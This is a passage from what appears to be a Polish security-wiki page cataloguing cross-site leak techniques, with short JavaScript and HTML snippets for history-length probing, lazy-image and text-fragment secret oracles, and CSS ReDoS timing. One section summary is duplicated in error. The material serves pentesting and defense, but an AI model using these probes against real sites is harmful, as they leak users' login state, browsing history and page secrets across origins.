Atakujący może użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadywanego URL.
|
|
```javascript
|
|
async function debug(win, url) {
|
|
win.location = url + "#aaa"
|
|
win.location = "about:blank"
|
|
await new Promise((r) => setTimeout(r, 500))
|
|
return win.history.length
|
|
}
|
|
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=c"))
|
|
|
|
win.close()
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=b"))
|
|
```
|
|
### Liczenie ramek
|
|
|
|
- **Metody włączenia**: Ramki, Pop-upy
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
|
- **Podsumowanie:** Oceń ilość elementów iframe, sprawdzając właściwość `window.length`.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
|
|
|
Liczenie **liczby ramek w sieci** otwartych za pomocą `iframe` lub `window.open` może pomóc w identyfikacji **statusu użytkownika na tej stronie**.\
|
|
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzoru**, który może ujawniać informacje.
|
|
|
|
Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
|
|
|
|
### Elementy HTML
|
|
|
|
- **Metody włączenia**: Elementy HTML
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
|
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby odróżnić 2 możliwe stany
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
|
|
|
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizę informacji ujawnionych przez niektóre elementy HTML.
|
|
|
|
### Informacje ujawnione przez elementy HTML
|
|
|
|
- **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` czasy multimediów, które można uzyskać za pomocą jego API. [Przeczytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
|
- **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, oferujące bardziej szczegółowe informacje o zawartości multimedialnej. [Przeczytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
|
- **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegóły dotyczące jakości odtwarzania wideo, w tym `totalVideoFrames`, co może wskazywać na ilość przetworzonych danych wideo. [Przeczytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
|
- **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, co wskazuje na niepowodzenie w poprawnym załadowaniu obrazu. [Przeczytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
|
|
|
### Właściwość CSS
|
|
|
|
- **Metody włączenia**: Elementy HTML
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
|
- **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
|
|
|
Aplikacje internetowe mogą zmieniać **stylizację strony** w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
|
|
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.
|
|
|
|
### Historia CSS
|
|
|
|
- **Metody włączenia**: Elementy HTML
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
|
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że został już odwiedzony
|
|
- **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
|
|
|
> [!NOTE]
|
|
> Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
|
|
|
|
Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie obliczonego stylu tak, jakby link był odwiedzony, oraz ograniczenie stylów, które mogą być stosowane z selektorem `:visited`.
|
|
|
|
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.
|
|
|
|
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki inaczej, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co czyni stan odwiedzenia wykrywalnym poprzez analizę czasową.
|
|
|
|
Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:
|
|
|
|
- `:visited`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
|
- `getComputedStyle()`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
|
- `mix-blend-mode`: [Dokumentacja MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
|
|
|
### Wycieki X-Frame ContentDocument
|
|
|
|
- **Metody włączenia**: Ramki
|
|
- **Wykrywalna różnica**: Nagłówki
|
|
- **Więcej informacji**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
|
- **Podsumowanie:** W Google Chrome wyświetlana jest dedykowana strona błędu, gdy strona jest zablokowana przed osadzeniem na stronie z innego źródła z powodu ograniczeń X-Frame-Options.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
|
|
|
W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lub "same-origin" jest osadzona jako obiekt, pojawia się strona błędu. Chrome unikalnie zwraca pusty obiekt dokumentu (zamiast `null`) dla właściwości `contentDocument` tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą to wykorzystać, wykrywając pusty dokument, co może ujawniać informacje o stanie użytkownika, szczególnie jeśli deweloperzy niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe dla zapobiegania takim wyciekom.
|
|
|
|
### Wykrywanie pobierania
|
|
|
|
- **Metody włączenia**: Ramki, Pop-upy
|
|
- **Wykrywalna różnica**: Nagłówki
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
|
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
|
|
|
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie można wykorzystać do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:
|
|
|
|
1. **Monitorowanie paska pobierania**:
|
|
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
|
|
- Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobranie zostało zainicjowane.
|
|
2. **Nawigacja pobierania z iframe**:
|
|
- Gdy strona wyzwala pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
|
|
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy dyspozycja zawartości powoduje pobranie pliku (brak nawigacji) czy nie.
|
|
3. **Nawigacja pobierania bez iframe**:
|
|
- Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
|
|
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy wyzwolono pobieranie pliku (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
|
|
|
|
W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobrania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
|
|
|
|
### Ominięcie podzielonej pamięci podręcznej HTTP <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Czas
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
|
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (z [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
> [!WARNING]
|
|
> Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
|
> (Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. To dlatego, że klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.
|
|
|
|
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
|
|
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki zajmuje**.
|
|
|
|
### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Przekierowania
|
|
- **Więcej informacji**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
|
- **Podsumowanie:** Możliwe jest ustalenie, czy odpowiedź na żądanie fetch jest przekierowaniem
|
|
- **Przykład kodu**:
|
|
|
|
.png>)
|
|
|
|
### Fetch z AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Czas
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu, a przed jego załadowaniem ładowanie jest przerywane. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
|
|
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany** i aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.
|
|
|
|
### Zanieczyszczenie skryptu
|
|
|
|
- **Metody włączenia**: Elementy HTML (skrypt)
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
- **Podsumowanie:** Możliwe jest **nadpisanie wbudowanych funkcji** i odczytanie ich argumentów, nawet z **skryptu z innego źródła** (którego nie można odczytać bezpośrednio), co może **ujawniać cenne informacje**.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
|
|
### Pracownicy serwisowi <a href="#service-workers" id="service-workers"></a>
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
|
- **Podsumowanie:** Mierz czas wykonania strony internetowej za pomocą pracowników serwisowych.
|
|
- **Przykład kodu**:
|
|
|
|
W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.
|
|
|
|
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak zawartości)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, co powoduje opóźnienia w procesie nawigacji.
|
|
|
|
> [!WARNING]
|
|
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
|
|
|
|
### Czas pobierania
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania. Inne zegary mogą być używane.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
|
|
### Czas między oknami
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
- **Podsumowanie:** Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas potrzebny na wykonanie żądania za pomocą `window.open`. Inne zegary mogą być używane.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
|
|
## Z HTML lub ponowna iniekcja
|
|
|
|
Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **poprzez wstrzykiwanie treści HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
|
|
|
|
### Zawieszone znaczniki
|
|
|
|
{{#ref}}
|
|
dangling-markup-html-scriptless-injection/
|
|
{{#endref}}
|
|
|
|
### Ładowanie obrazów leniwych
|
|
|
|
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
|
|
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.
|
|
|
|
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
|
|
```html
|
|
<img src=/something loading=lazy >
|
|
```
|
|
Dlatego możesz **dodać dużo niepotrzebnych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
|
|
Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + niepotrzebne znaki **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością niepotrzebnych znaków do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
|
|
|
Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolone:
|
|
|
|
#### Scroll-to-text-fragment
|
|
|
|
Jednak musisz **sprawić, by bot uzyskał dostęp do strony** z czymś takim jak
|
|
```
|
|
#:~:text=SECR
|
|
```
|
|
Strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/post.html#:~:text=SECR`**
|
|
|
|
Gdzie post.html zawiera niechciane znaki atakującego oraz obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
|
|
|
|
Tekst ten spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załadowany zostanie tylko wtedy, gdy odgadnięty sekret będzie poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
|
|
|
|
Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|
|
|
### Ładowanie obrazów na podstawie czasu
|
|
|
|
Jeśli **nie ma możliwości załadowania zewnętrznego obrazu**, co mogłoby wskazywać atakującemu, że obraz został załadowany, inną opcją byłoby próbowanie **odgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest załadowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest załadowany. To zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **podsumowanym tutaj:**
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
### ReDoS
|
|
|
|
{{#ref}}
|
|
regular-expression-denial-of-service-redos.md
|
|
{{#endref}}
|
|
|
|
### CSS ReDoS
|
|
|
|
Jeśli użyto `jQuery(location.hash)`, możliwe jest ustalenie za pomocą czasu, **czy istnieje jakiś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
|
|
```javascript
|
|
$(
|
|
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
|
)
|
|
```
|
|
### CSS Injection
|
|
|
|
{{#ref}}
|
|
xs-search/css-injection/
|
|
{{#endref}}
|
|
|
|
## Defenses
|
|
|
|
Zaleca się stosowanie środków zaradczych opisanych w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) oraz w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Sprawdź tam więcej informacji na temat ochrony przed tymi technikami.
|
|
|
|
## References
|
|
|
|
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
|
- [https://xsleaks.dev/](https://xsleaks.dev)
|
|
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
|
- [https://xsinator.com/](https://xsinator.com/)
|
|
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|